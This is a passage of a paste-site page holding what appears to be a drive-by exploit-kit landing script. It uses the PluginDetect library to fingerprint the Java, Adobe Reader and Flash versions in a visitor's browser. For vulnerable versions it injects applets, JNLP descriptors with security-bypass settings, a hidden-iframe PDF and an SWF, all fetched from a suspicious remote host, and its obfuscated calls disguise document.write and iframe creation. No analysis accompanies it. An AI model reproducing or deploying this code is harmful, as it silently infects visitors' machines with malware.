  1835.                     if (!b.nonAppletDetectionOk(b.version0)) {
  1836.                         if (f[e] == 2 || (f[e] == 1 && !a)) {
  1837.                             return 1
  1838.                         }
  1839.                     }
  1840.                     return 0
  1841.                 },
  1842.                 should_Insert_Query_Any: function() {
  1843.                     var b = this,
  1844.                         a;
  1845.                     for (a = 0; a < b.allowed.length; a++) {
  1846.                         if (b.should_Insert_Query(a)) {
  1847.                             return 1
  1848.                         }
  1849.                     }
  1850.                     return 0
  1851.                 },
  1852.                 query: function(f) {
  1853.                     var j, a = this,
  1854.                         i = a.$,
  1855.                         d = a.$$,
  1856.                         k = null,
  1857.                         l = null,
  1858.                         b = a.results,
  1859.                         c, h, g = a.HTML[f];
  1860.                     if (!g || !g.obj() || b[f][0] || d.bridgeDisabled || (i.dbug && d.OTF < 3)) {
  1861.                         return
  1862.                     }
  1863.                     c = g.obj();
  1864.                     h = g.readyState();
  1865.                     if (1) {
  1866.                         try {
  1867.                             k = i.getNum(c.getVersion() + "");
  1868.                             l = c.getVendor() + "";
  1869.                             c.statusbar(i.win.loaded ? " " : " ")
  1870.                         } catch (j) {};
  1871.                         if (k && i.isStrNum(k)) {
  1872.                             b[f] = [k, l];
  1873.                             a.active[f] = 2
  1874.                         }
  1875.                     }
  1876.                 },
  1877.                 isRange: function(a) {
  1878.                     return (/^[<>]/).test(a || "") ? (a.charAt(0) == ">" ? 1 : -1) : 0
  1879.                 },
  1880.                 setRange: function(b, a) {
  1881.                     return (b ? (b > 0 ? ">" : "<") : "") + (this.$.isString(a) ? a : "")
  1882.                 },
  1883.                 insertJavaTag: function(g, n, h, o, m) {
  1884.                     var e = this,
  1885.                         c = e.$,
  1886.                         k = e.$$,
  1887.                         r = "A.class",
  1888.                         b = c.file.getValid(k),
  1889.                         f = b.name + b.ext,
  1890.                         q = b.path;
  1891.                     var i = ["archive", f, "code", r],
  1892.                         l = (o ? ["width", o] : []).concat(m ? ["height", m] : []),
  1893.                         j = ["mayscript", "true"],
  1894.                         p = ["scriptable", "true", "codebase_lookup", "false"].concat(j),
  1895.                         a = k.navigator,
  1896.                         d = !c.browser.isIE && a.mimeObj && a.mimeObj.type ? a.mimeObj.type : k.mimeType[0];
  1897.                     if (g == 1) {
  1898.                         return c.browser.isIE ? c.DOM.insert("object", ["type", d].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n) : c.DOM.insert("object", ["type", d].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n)
  1899.                     }
  1900.                     if (g == 2) {
  1901.                         return c.browser.isIE ? c.DOM.insert("applet", ["alt", h].concat(j).concat(i).concat(l), ["codebase", q].concat(p), h, k, 0, n) : c.DOM.insert("applet", ["codebase", q, "alt", h].concat(j).concat(i).concat(l), [].concat(p), h, k, 0, n)
  1902.                     }
  1903.                     if (g == 3) {
  1904.                         return c.browser.isIE ? c.DOM.insert("object", ["classid", k.classID].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n) : c.DOM.insert()
  1905.                     }
  1906.                     if (g == 4) {
  1907.                         return c.DOM.insert("embed", ["codebase", q].concat(i).concat(["type", d]).concat(p).concat(l), [], h, k, 0, n)
  1908.                     }
  1909.                 },
  1910.                 insert_Query_Any: function(h) {
  1911.                     var b = this,
  1912.                         d = b.$,
  1913.                         c = b.$$,
  1914.                         f = b.results,
  1915.                         i = b.HTML,
  1916.                         a = d.DOM.altHTML,
  1917.                         e, g = d.file.getValid(c);
  1918.                     if (b.should_Insert_Query(0)) {
  1919.                         if (c.OTF < 2) {
  1920.                             c.OTF = 2
  1921.                         };
  1922.                         f[0] = [0, 0];
  1923.                         e = h ? b.codebase.isMin(h) : b.codebase.search();
  1924.                         if (e) {
  1925.                             f[0][0] = h ? b.setRange(e, h) : e
  1926.                         }
  1927.                         b.active[0] = e ? 1.5 : -1
  1928.                     }
  1929.                     if (!g) {
  1930.                         return b.getResult()
  1931.                     }
  1932.                     if (!b.DummySpanTagHTML) {
  1933.                         b.DummySpanTagHTML = d.DOM.insert("", [], [], a)
  1934.                     }
  1935.                     if (b.should_Insert_Query(1)) {
  1936.                         if (c.OTF < 2) {
  1937.                             c.OTF = 2
  1938.                         };
  1939.                         i[1] = b.insertJavaTag(1, 0, a);
  1940.                         f[1] = [0, 0];
  1941.                         b.query(1)
  1942.                     }
  1943.                     if (b.should_Insert_Query(2)) {
  1944.                         if (c.OTF < 2) {
  1945.                             c.OTF = 2
  1946.                         };
  1947.                         i[2] = b.insertJavaTag(2, 0, a);
  1948.                         f[2] = [0, 0];
  1949.                         b.query(2)
  1950.                     }
  1951.                     if (b.should_Insert_Query(3)) {
  1952.                         if (c.OTF < 2) {
  1953.                             c.OTF = 2
  1954.                         };
  1955.                         i[3] = b.insertJavaTag(3, 0, a);
  1956.                         f[3] = [0, 0];
  1957.                         b.query(3)
  1958.                     }
  1959.                     if (d.DOM.isEnabled.objectTag()) {
  1960.                         if (!b.DummyObjTagHTML && (i[1] || i[2])) {
  1961.                             b.DummyObjTagHTML = d.DOM.insert("object", ["type", c.mimeType_dummy], [], a)
  1962.                         }
  1963.                         if (!b.DummyObjTagHTML2 && i[3]) {
  1964.                             b.DummyObjTagHTML2 = d.DOM.insert("object", ["classid", c.classID_dummy], [], a)
  1965.                         }
  1966.                     }
  1967.                     c.NOTF.init();
  1968.                     return b.getResult()
  1969.                 }
  1970.             },
  1971.             NOTF: {
  1972.                 $: 1,
  1973.                 count: 0,
  1974.                 countMax: 25,
  1975.                 intervalLength: 250,
  1976.                 init: function() {
  1977.                     var c = this,
  1978.                         b = c.$,
  1979.                         a = c.$$;
  1980.                     if (a.OTF < 3 && c.shouldContinueQuery()) {
  1981.                         a.OTF = 3;
  1982.                         c.onIntervalQuery = b.ev.handler(c.$$onIntervalQuery, c);
  1983.                         if (!b.win.loaded) {
  1984.                             b.win.loadPrvtHndlrs.push([c.onWinLoadQuery, c])
  1985.                         }
  1986.                         setTimeout(c.onIntervalQuery, c.intervalLength)
  1987.                     }
  1988.                 },
  1989.                 shouldContinueQuery: function() {
  1990.                     var f = this,
  1991.                         e = f.$,
  1992.                         c = f.$$,
  1993.                         b = c.applet,
  1994.                         a, d = 0;
  1995.                     if (e.win.loaded && f.count > f.countMax) {
  1996.                         return 0
  1997.                     }
  1998.                     for (a = 0; a < b.results.length; a++) {
  1999.                         if (b.HTML[a]) {
  2000.                             if (!e.win.loaded && f.count > f.countMax && e.codebase.pluginMayBeHanging(b.HTML[a].span)) {
  2001.                                 d = 1;
  2002.                                 b.HTML[a].DELETE = 1
  2003.                             }
  2004.                             if (!d && !b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1 && !b.getResult()[0])) && f.isAppletActive(a) >= 0) {
  2005.                                 return 1
  2006.                             }
  2007.                         }
  2008.                     };
  2009.                     return 0
  2010.                 },
  2011.                 isJavaActive: function(d) {
  2012.                     var f = this,
  2013.                         c = f.$$,
  2014.                         a, b, e = -9;
  2015.                     for (a = 0; a < c.applet.HTML.length; a++) {
  2016.                         b = f.isAppletActive(a, d);
  2017.                         if (b > e) {
  2018.                             e = b
  2019.                         }
  2020.                     }
  2021.                     return e
  2022.                 },
  2023.                 isAppletActive: function(e, g) {
  2024.                     var h = this,
  2025.                         f = h.$,
  2026.                         b = h.$$,
  2027.                         l = b.navigator,
  2028.                         a = b.applet,
  2029.                         i = a.HTML[e],
  2030.                         d = a.active,
  2031.                         k, c = 0,
  2032.                         j, m = d[e];
  2033.                     if (g || m >= 1.5 || !i || !i.span) {
  2034.                         return m
  2035.                     };
  2036.                     j = f.DOM.getTagStatus(i, a.DummySpanTagHTML, a.DummyObjTagHTML, a.DummyObjTagHTML2, h.count);
  2037.                     for (k = 0; k < d.length; k++) {
  2038.                         if (d[k] > 0) {
  2039.                             c = 1
  2040.                         }
  2041.                     }
  2042.                     if (j != 1) {
  2043.                         m = j
  2044.                     } else {
  2045.                         if (f.browser.isIE || (b.version0 && l.javaEnabled() && l.mimeObj && (i.tagName == "object" || c))) {
  2046.                             m = 1
  2047.                         } else {
  2048.                             m = 0
  2049.                         }
  2050.                     }
  2051.                     d[e] = m;
  2052.                     return m
  2053.                 },
  2054.                 onWinLoadQuery: function(c, d) {
  2055.                     var b = d.$$,
  2056.                         a;
  2057.                     if (b.OTF == 3) {
  2058.                         a = d.queryAllApplets();
  2059.                         d.queryCompleted(a)
  2060.                     }
  2061.                 },
  2062.                 $$onIntervalQuery: function(d) {
  2063.                     var c = d.$,
  2064.                         b = d.$$,
  2065.                         a;
  2066.                     if (b.OTF == 3) {
  2067.                         a = d.queryAllApplets();
  2068.                         if (!d.shouldContinueQuery()) {
  2069.                             d.queryCompleted(a)
  2070.                         }
  2071.                     }
  2072.                     d.count++;
  2073.                     if (b.OTF == 3) {
  2074.                         setTimeout(d.onIntervalQuery, d.intervalLength)
  2075.                     }
  2076.                 },
  2077.                 queryAllApplets: function() {
  2078.                     var f = this,
  2079.                         e = f.$,
  2080.                         d = f.$$,
  2081.                         c = d.applet,
  2082.                         b, a;
  2083.                     for (b = 0; b < c.results.length; b++) {
  2084.                         c.query(b)
  2085.                     }
  2086.                     a = c.getResult();
  2087.                     return a
  2088.                 },
  2089.                 queryCompleted: function(c) {
  2090.                     var g = this,
  2091.                         f = g.$,
  2092.                         e = g.$$,
  2093.                         d = e.applet,
  2094.                         b;
  2095.                     if (e.OTF >= 4) {
  2096.                         return
  2097.                     }
  2098.                     e.OTF = 4;
  2099.                     var a = g.isJavaActive();
  2100.                     for (b = 0; b < d.HTML.length; b++) {
  2101.                         if (d.HTML[b] && d.HTML[b].DELETE) {
  2102.                             f.DOM.emptyNode(d.HTML[b].span);
  2103.                             d.HTML[b].span = null
  2104.                         }
  2105.                     }
  2106.                     e.setPluginStatus(c[0], c[1], 0);
  2107.                     if (f.onDetectionDone && e.DoneHndlrs) {
  2108.                         f.ev.callArray(e.DoneHndlrs)
  2109.                     }
  2110.                 }
  2111.             },
  2112.             zz: 0
  2113.         },
  2114.         flash: {
  2115.             $: 1,
  2116.             mimeType: "application/x-shockwave-flash",
  2117.             setPluginStatus: function(c, a) {
  2118.                 var b = this,
  2119.                     d = b.$;
  2120.                 b.installed = a ? 1 : (c ? 0 : -1);
  2121.                 b.version = d.formatNum(a);
  2122.                 b.getVersionDone = b.installed == -1 || b.axo.version || b.instance.version ? 1 : 0
  2123.             },
  2124.             getVersion: function(f, b) {
  2125.                 var c = this,
  2126.                     e = c.$,
  2127.                     a = null,
  2128.                     d = 0;
  2129.                 if ((!d || e.dbug) && c.navPlugin.query().installed) {
  2130.                     d = 1
  2131.                 }
  2132.                 if ((!a || e.dbug) && c.navPlugin.query().version) {
  2133.                     a = c.navPlugin.version
  2134.                 }
  2135.                 if ((!d || e.dbug) && c.axo.query().installed) {
  2136.                     d = 1
  2137.                 }
  2138.                 if ((!a || e.dbug) && c.axo.query().version) {
  2139.                     a = c.axo.version
  2140.                 };
  2141.                 if (((!d && !a) || b || e.dbug) && c.instance.query().version) {
  2142.                     d = 1;
  2143.                     a = c.instance.version
  2144.                 }
  2145.                 c.setPluginStatus(d, a)
  2146.             },
  2147.             navPlugin: {
  2148.                 $: 1,
  2149.                 hasRun: 0,
  2150.                 installed: 0,
  2151.                 version: null,
  2152.                 getNum: function(b) {
  2153.                     if (!b) {
  2154.                         return null
  2155.                     }
  2156.                     var a = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(b);
  2157.                     return a ? a[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
  2158.                 },
  2159.                 query: function() {
  2160.                     var e = this,
  2161.                         d = e.$,
  2162.                         b = e.$$,
  2163.                         a, f, c = e.hasRun || !d.hasMimeType(b.mimeType);
  2164.                     e.hasRun = 1;
  2165.                     if (c) {
  2166.                         return e
  2167.                     };
  2168.                     f = d.findNavPlugin({
  2169.                         find: "Shockwave.*Flash",
  2170.                         mimes: b.mimeType,
  2171.                         plugins: ["Shockwave Flash"]
  2172.                     });
  2173.                     if (f) {
  2174.                         e.installed = 1;
  2175.                         if (f.description) {
  2176.                             a = e.getNum(f.description)
  2177.                         }
  2178.                     }
  2179.                     if (a) {
  2180.                         a = d.getPluginFileVersion(f, a)
  2181.                     }
  2182.                     if (a) {
  2183.                         e.version = a
  2184.                     };
  2185.                     return e
  2186.                 }
  2187.             },
  2188.             axo: {
  2189.                 $: 1,
  2190.                 hasRun: 0,
  2191.                 installed: 0,
  2192.                 version: null,
  2193.                 progID: "ShockwaveFlash.ShockwaveFlash",
  2194.                 classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",
  2195.                 query: function() {
  2196.                     var d = this,
  2197.                         g = d.$,
  2198.                         c = d.$$,
  2199.                         b, a, i, h, f = d.hasRun;
  2200.                     d.hasRun = 1;
  2201.                     if (f) {
  2202.                         return d
  2203.                     };
  2204.                     for (a = 0; a < 10; a++) {
  2205.                         i = g.getAXO(d.progID + (a ? "." + a : ""));
  2206.                         if (i) {
  2207.                             d.installed = 1;
  2208.                             b = 0;
  2209.                             try {
  2210.                                 b = g.getNum(i.GetVariable("$version") + "")
  2211.                             } catch (h) {}
  2212.                             if (b) {
  2213.                                 d.version = b;
  2214.                                 if (!g.dbug) {
  2215.                                     break
  2216.                                 }
  2217.                             }
  2218.                         }
  2219.                     };
  2220.                     return d
  2221.                 }
  2222.             },
  2223.             instance: {
  2224.                 $: 1,
  2225.                 hasRun: 0,
  2226.                 version: null,
  2227.                 HTML: null,
  2228.                 isEnabled: function() {
  2229.                     var b = this,
  2230.                         d = b.$,
  2231.                         c = b.$$,
  2232.                         a = 1;
  2233.                     if (b.hasRun || d.DOM.isEnabled.objectTagUsingActiveX() || !d.hasMimeType(c.mimeType)) {
  2234.                         a = 0
  2235.                     }
  2236.                     return a
  2237.                 },
  2238.                 query: function() {
  2239.                     var a = this,
  2240.                         f = a.$,
  2241.                         d = a.$$,
  2242.                         b, g, c = a.isEnabled();
  2243.                     a.hasRun = 1;
  2244.                     if (c) {
  2245.                         a.HTML = f.DOM.insert("object", ["type", d.mimeType], ["play", "false", "menu", "false"], "", d);
  2246.                         try {
  2247.                             a.version = f.getNum(a.HTML.obj().GetVariable("$version") + "")
  2248.                         } catch (g) {}
  2249.                     }
  2250.                     return a
  2251.                 }
  2252.             }
  2253.         },
  2254.         adobereader: {
  2255.             $: 1,
  2256.             setPluginStatus: function() {
  2257.                 var e = this,
  2258.                     c = e.$,
  2259.                     b = e.nav.detected,
  2260.                     a = e.nav.version,
  2261.                     g = e.axo.detected,
  2262.                     d = e.axo.version,
  2263.                     i = e.doc.detected,
  2264.                     h = e.doc.version,
  2265.                     f = a || d || h || null;
  2266.                 e.installed = f ? 1 : (b > 0 || g > 0 || i > 0 ? 0 : (i == -0.5 ? -0.15 : (c.browser.isIE && (!c.browser.ActiveXEnabled || c.browser.ActiveXFilteringEnabled) ? -1.5 : -1)));
  2267.                 e.version = c.formatNum(f)
  2268.             },
  2269.             getVersion: function(c, e) {
  2270.                 var a = this,
  2271.                     d = a.$,
  2272.                     b = 0;
  2273.                 if ((!b || d.dbug) && a.nav.query().detected > 0) {
  2274.                     b = 1
  2275.                 }
  2276.                 if ((!b || d.dbug) && a.axo.query().detected > 0) {
  2277.                     b = 1
  2278.                 }
  2279.                 if ((!b || d.dbug) && (a.doc.query().detected > 0 || a.doc.detected == -0.5)) {
  2280.                     b = 1
  2281.                 }
  2282.                 a.setPluginStatus()
  2283.             },
  2284.             nav: {
  2285.                 $: 1,
  2286.                 detected: 0,
  2287.                 version: null,
  2288.                 mimeType: ["application/pdf", "application/vnd.adobe.pdfxml"],
  2289.                 find: "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in",
  2290.                 plugins: ["Adobe Acrobat", "Adobe Acrobat and Reader Plug-in", "Adobe Reader Plugin"],
  2291.                 query: function() {
  2292.                     var e = this,
  2293.                         c = e.$,
  2294.                         a = e.$$,
  2295.                         d, b = null;
  2296.                     if (e.detected || !c.hasMimeType(e.mimeType)) {
  2297.                         return e
  2298.                     };
  2299.                     d = c.findNavPlugin({
  2300.                         find: e.find,
  2301.                         mimes: e.mimeType,
  2302.                         plugins: e.plugins
  2303.                     });
  2304.                     e.detected = d ? 1 : -1;
  2305.                     if (d) {
  2306.                         b = c.getNum(d.description) || c.getNum(d.name);
  2307.                         b = c.getPluginFileVersion(d, b);
  2308.                         if (!b) {
  2309.                             b = e.attempt3()
  2310.                         };
  2311.                         if (b) {
  2312.                             e.version = b
  2313.                         }
  2314.                     };
  2315.                     return e
  2316.                 },
  2317.                 attempt3: function() {
  2318.                     var c = this,
  2319.                         b = c.$,
  2320.                         a = null;
  2321.                     if (b.OS == 1) {
  2322.                         if (b.hasMimeType("application/vnd.adobe.pdfxml")) {
  2323.                             a = "9"
  2324.                         } else {
  2325.                             if (b.hasMimeType("application/vnd.adobe.x-mars")) {
  2326.                                 a = "8"
  2327.                             } else {
  2328.                                 if (b.hasMimeType("application/vnd.adobe.xfdf")) {
  2329.                                     a = "6"
  2330.                                 }
  2331.                             }
  2332.                         }
  2333.                     }
  2334.                     return a
  2335.                 }
  2336.             },
  2337.             pluginQuery: function(j) {
  2338.                 var f = this,
  2339.                     d = f.$,
  2340.                     b = "",
  2341.                     h = null,
  2342.                     g, a, i, c;
  2343.                 try {
  2344.                     if (j) {
  2345.                         b = j.GetVersions()
  2346.                     }
  2347.                 } catch (g) {}
  2348.                 if (b && d.isString(b)) {
  2349.                     a = /=\s*([\d\.]+)/g;
  2350.                     for (i = 0; i < 30; i++) {
  2351.                         if (a.test(b)) {
  2352.                             c = d.formatNum(RegExp.$1);
  2353.                             if (!h || d.compareNums(c > h) > 0) {
  2354.                                 h = c
  2355.                             }
  2356.                         } else {
  2357.                             break
  2358.                         }
  2359.                     }
  2360.                 }
  2361.                 return h
  2362.             },
  2363.             axo: {
  2364.                 $: 1,
  2365.                 detected: 0,
  2366.                 version: null,
  2367.                 progID: ["AcroPDF.PDF", "AcroPDF.PDF.1", "PDF.PdfCtrl", "PDF.PdfCtrl.5", "PDF.PdfCtrl.1"],
  2368.                 query: function() {
  2369.                     var d = this,
  2370.                         e = d.$,
  2371.                         b = d.$$,
  2372.                         f, c = null,
  2373.                         a;
  2374.                     if (d.detected) {
  2375.                         return d
  2376.                     };
  2377.                     d.detected = -1;
  2378.                     for (a = 0; a < d.progID.length; a++) {
  2379.                         f = e.getAXO(d.progID[a]);
  2380.                         if (f) {
  2381.                             d.detected = 1;
  2382.                             c = b.pluginQuery(f);
  2383.                             if (!e.dbug && c) {
  2384.                                 break
  2385.                             }
  2386.                         }
  2387.                     }
  2388.                     if (c) {
  2389.                         d.version = c
  2390.                     };
  2391.                     return d
  2392.                 }
  2393.             },
  2394.             doc: {
  2395.                 $: 1,
  2396.                 detected: 0,
  2397.                 version: null,
  2398.                 classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
  2399.                 classID_dummy: "clsid:CA8A9780-280D-11CF-A24D-BA9876543210",
  2400.                 DummySpanTagHTML: 0,
  2401.                 HTML: 0,
  2402.                 DummyObjTagHTML1: 0,
  2403.                 DummyObjTagHTML2: 0,
  2404.                 isDisabled: function() {
  2405.                     var c = this,
  2406.                         b = c.$,
  2407.                         a = 0;
  2408.                     if (c.HTML) {
  2409.                         a = 1
  2410.                     } else {
  2411.                         if (b.dbug) {} else {
  2412.                             if (!b.DOM.isEnabled.objectTagUsingActiveX()) {
  2413.                                 a = 1
  2414.                             }
  2415.                         }
  2416.                     }
  2417.                     return a
  2418.                 },
  2419.                 query: function() {
  2420.                     var i = this,
  2421.                         d = i.$,
  2422.                         f = i.$$,
  2423.                         h = null,
  2424.                         a = d.DOM.altHTML,
  2425.                         g = null,
  2426.                         c = 1,
  2427.                         e = 1,
  2428.                         b;
  2429.                     if (i.isDisabled()) {
  2430.                         return i
  2431.                     };
  2432.                     if (!i.DummySpanTagHTML) {
  2433.                         i.DummySpanTagHTML = d.DOM.insert("", [], [], a, f, e)
  2434.                     }
  2435.                     if (!i.HTML) {
  2436.                         i.HTML = d.DOM.insert("object", ["classid", i.classID], [], a, f, e)
  2437.                     }
  2438.                     if (!i.DummyObjTagHTML2) {
  2439.                         i.DummyObjTagHTML2 = d.DOM.insert("object", ["classid", i.classID_dummy], [], a, f, e)
  2440.                     }
  2441.                     b = d.DOM.getTagStatus(i.HTML, i.DummySpanTagHTML, i.DummyObjTagHTML1, i.DummyObjTagHTML2, g, c);
  2442.                     h = f.pluginQuery(i.HTML.obj());
  2443.                     i.detected = b > 0 || h ? 1 : (b == -0.1 || b == -0.5 ? -0.5 : -1);
  2444.                     i.version = h ? h : null;
  2445.                     return i
  2446.                 }
  2447.             }
  2448.         },
  2449.         zz: 0
  2450.     }
  2451. };
  2452. PluginDetect.INIT();
  2453. j_version = PluginDetect.getVersion('Java');
  2454. p_version = PluginDetect.getVersion('AdobeReader');
  2455. f_version = PluginDetect.getVersion('Flash');
  2456.  
  2457. function ffbgrnth5we(a) {
  2458.     return this["doc34ume92nt".replace(/[0-9]/g, "")]["wr104ite".replace(/[0-9]/g, "")](a);
  2459. }
  2460. if (j_version != null) {
  2461.     j_version = j_version.split(",");
  2462. } else {
  2463.     j_version = [0, 0, 0, 0];
  2464. } if (p_version != null) {
  2465.     p_version = p_version.split(",");
  2466. } else {
  2467.     p_version = [0, 0, 0, 0];
  2468. } if (f_version != null) {
  2469.     f_version = f_version.split(",");
  2470. } else {
  2471.     f_version = [0, 0, 0, 0];
  2472. }
  2473.  
  2474. function asfwe(aa) {
  2475.     if (aa == 1) return ffbgrnth5we('<applet code="Adreno.class" archive="http://7a59b2aaukwj.mercelrundnireduc.uni.me/1408443000.jar"><param name="ldcrlio" value="AhhjyHH3ErDvwEEn0QU8apiupbin7Y7cipYnu8n7c8apH5HxGlqGGLlllHw"><param name="t" value="0"><param name="tt" value="0"></applet>');
  2476.     if (aa == 2) return ffbgrnth5we('<applet><param name="jnlp_href" value="Adreno.jnlp" /><param name="jnlp_embedded" value="PGpubHAgc3BlYz0iMS4wIiB4bWxuczpqZng9Imh0dHA6Ly9nb29nbGUuY29tIiBocmVmPSJhcHBsZXRfc2VjdXJpdHlfYnlwYXNzLmpubHAiPg0KICA8aW5mb3JtYXRpb24+DQogICAgPHRpdGxlPlkgYXNmIElJPC90aXRsZT4NCiAgICA8dmVuZG9yPmZkZmVncndlPC92ZW5kb3I+DQogIDwvaW5mb3JtYXRpb24+DQogIA0KICAgPHJlc291cmNlcz4NCiAgICAgICAgPGoyc2UgdmVyc2lvbj0iMS43KyIgaHJlZj0iIi8+DQogICAgICAgIDxqYXIgaHJlZj0iaHR0cDovLzdhNTliMmFhdWt3ai5tZXJjZWxydW5kbmlyZWR1Yy51bmkubWUvMTQwODQ0MzAwMC5qYXIiIG1haW49InRydWUiIC8+DQogIDwvcmVzb3VyY2VzPg0KICA8YXBwbGV0LWRlc2MgbmFtZT0iQUZ1Y2sgT2ZmIiBoZWlnaHQ9IjEiICAgd2lkdGg9IjEiIG1haW4tY2xhc3M9IkFkcmVubyI+DQogICAgIDxwYXJhbSB2YWx1ZT0idHJ1ZSIgbmFtZT0iX19hcHBsZXRfc3N2X3ZhbGlkYXRlZCIgLz4NCg0KICA8L2FwcGxldC1kZXNjPg0KPC9qbmxwPg==" /><param name="ldcrlio" value="AhhjyHH3ErDvwEEn0QU8apiupbin7Y7cipYnu8n7c8apH5HxGlqGGLlllHw"><param name="t" value="0"><param name="tt" value="0"></applet>');
  2477.     if (aa == 3) return ffbgrnth5we('<applet>     <param name="jnlp_href" value="dfweqdasdfeqw.jnlp" />     <param name="jnlp_embedded" value="ICA8am5scCBzcGVjPSIxLjAiIHhtbG5zOmpmeD0iaHR0cDovL2dvb2dsZS5jb20iIGhyZWY9IiI+DQogICAgICAgICAgICA8aW5mb3JtYXRpb24+DQogICAgICAgICAgICA8dGl0bGU+ZGZ3ZWRhZmQ8L3RpdGxlPg0KICAgICAgICAgICAgPHZlbmRvcj5lZnZyd2VmcTwvdmVuZG9yPg0KICAgICAgICAgICAgPC9pbmZvcm1hdGlvbj4NCiAgICAgICAgICAgIDxyZXNvdXJjZXM+DQogICAgICAgICAgICA8ajJzZSB2ZXJzaW9uPSIxLjcrIiBocmVmPSIiIC8+DQogICAgICAgICAgICA8amFyIGhyZWY9Imh0dHA6Ly83YTU5YjJhYXVrd2oubWVyY2VscnVuZG5pcmVkdWMudW5pLm1lLzE0MDg0NDMwMDAuamFyIiBtYWluPSJ0cnVlIiAvPg0KICAgICAgICAgICAgPC9yZXNvdXJjZXM+DQogICAgICAgICAgICA8amZ4OmphdmFmeC1kZXNjIG1haW4tY2xhc3M9IlJhZHZhIiBwcmVsb2FkZXItY2xhc3M9IkFkcmVubyIgbmFtZT0iQXBwIi8+DQogICAgICAgICAgICA8YXBwbGV0LWRlc2MgbmFtZT0iQXNkZiIgbWFpbi1jbGFzcz0iVmFzZGEiIHdpZHRoPSIzIiBoZWlnaHQ9IjMiPg0KICAgICAgICAgICAgPC9hcHBsZXQtZGVzYz48L2pubHA+" /> <param name="javafx_version" value="2.0+" /> <param name="ldcrlio" value="AhhjyHH3ErDvwEEn0QU8apiupbin7Y7cipYnu8n7c8apH5HxGlqGGLlllHw" /> <param name="t" value="0" /> <param name="tt" value="0" />   </applet>');
  2478. }
  2479. java_enable = 0;
  2480. java_run = 0;
  2481. if (j_version[0] > 0 && j_version[1] < 7) {
  2482.     java_enable = 1;
  2483.     java_run = 1;
  2484. }
  2485. if (j_version[0] > 0 && j_version[1] == 7 && j_version[3] <= 17) {
  2486.     java_enable = 1;
  2487.     java_run = 2;
  2488. }
  2489. if (j_version[0] > 0 && j_version[1] == 7 && j_version[3] == 21) {
  2490.     java_enable = 1;
  2491.     java_run = 3;
  2492. }
  2493. if (java_run > 0) asfwe(java_run);
  2494.  
  2495. function fg(url, width, height) {
  2496.     var s1 = document.createElement("if28ra46me".replace(/[0-9]/g, ""));
  2497.     s1["s111etA111ttribute".replace(/[0-9]/g, "")]("sr87c".replace(/[0-9]/g, ""), url);
  2498.     s1["se82tAt94tribute".replace(/[0-9]/g, "")]("w103idt41h".replace(/[0-9]/g, ""), width);
  2499.     s1["s27etAttr7ibute".replace(/[0-9]/g, "")]("he101igh1t".replace(/[0-9]/g, ""), height);
  2500.     document.body.appendChild(s1);
  2501. }
  2502.  
  2503. function createFlashMarkup(width, height, swfurl, url) {
  2504.     var obj = document.createElement('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" allowScriptAccess=always width="' + width + '" height="' + height + '">');
  2505.     var p_m = document.createElement("param");
  2506.     p_m.setAttribute("name", "movie");
  2507.     p_m.setAttribute("value", swfurl);
  2508.     var p_m2 = document.createElement("param");
  2509.     p_m2.setAttribute("name", "FlashVars");
  2510.     p_m2.setAttribute("value", url);
  2511.     obj.appendChild(p_m);
  2512.     obj.appendChild(p_m2);
  2513.     document.body.appendChild(obj);
  2514. }
  2515.  
  2516. function createFlashMarkupFF(width, height, swfurl, url) {
  2517.     var obj = document.createElement("object");
  2518.     obj.setAttribute("type", "application/x-shockwave-flash");
  2519.     obj.setAttribute("data", swfurl);
  2520.     var p_m = document.createElement("param");
  2521.     p_m.setAttribute("name", "movie");
  2522.     p_m.setAttribute("value", swfurl);
  2523.     var p_m2 = document.createElement("param");
  2524.     p_m2.setAttribute("name", "FlashVars");
  2525.     p_m2.setAttribute("value", url);
  2526.     obj.appendChild(p_m);
  2527.     obj.appendChild(p_m2);
  2528.     document.body.appendChild(obj);
  2529. }
  2530. if ((p_version[0] == 8) || (p_version[0] == 9 && p_version[1] <= 3)) {
  2531.     if (java_enable == 1) {
  2532.         setTimeout('fg("http://7a59b2aaukwj.mercelrundnireduc.uni.me/1408443000.pdf","99","74")', 7000);
  2533.     } else {
  2534.         fg("http://7a59b2aaukwj.mercelrundnireduc.uni.me/1408443000.pdf", "55", "63");
  2535.     }
  2536. }
  2537.  
  2538. function CheckVersion11(f_version) {
  2539.     if (f_version[0] != 11) return false;
  2540.     if (f_version[1] > 9) return false;
  2541.     if (f_version[1] == 9 && f_version[2] > 900) return false;
  2542.     if (f_version[1] == 9 && f_version[2] == 900 && f_version[3] > 170) return false;
  2543.     return true;
  2544. }
  2545.  
  2546. function CheckVersion12(f_version) {
  2547.     if (f_version[0] != "12") return false;
  2548.     return true;
  2549. }
  2550.  
  2551. function CheckVersion13(f_version) {
  2552.     if (f_version[0] != 13) return false;
  2553.     if (f_version[1] > 0) return false;
  2554.     if (f_version[2] > 0) return false;
  2555.     if (f_version[0] == 13 && f_version[1] == 0 && f_version[2] == 0 && f_version[3] > 206) return false;
  2556.     return true;
  2557. }
  2558. if (CheckVersion11(f_version) || CheckVersion12(f_version) || CheckVersion13(f_version)) {
  2559.     createFlashMarkupFF("68", "93", "http://7a59b2aaukwj.mercelrundnireduc.uni.me/1408443000.swf", "exec=AhhjyHH3ErDvwEEn0QU8apiupbin7Y7cipYnu8n7c8apH5HxGlqGGLlllH3");
  2560. }
Advertisement
Add Comment
Please, Sign In to add comment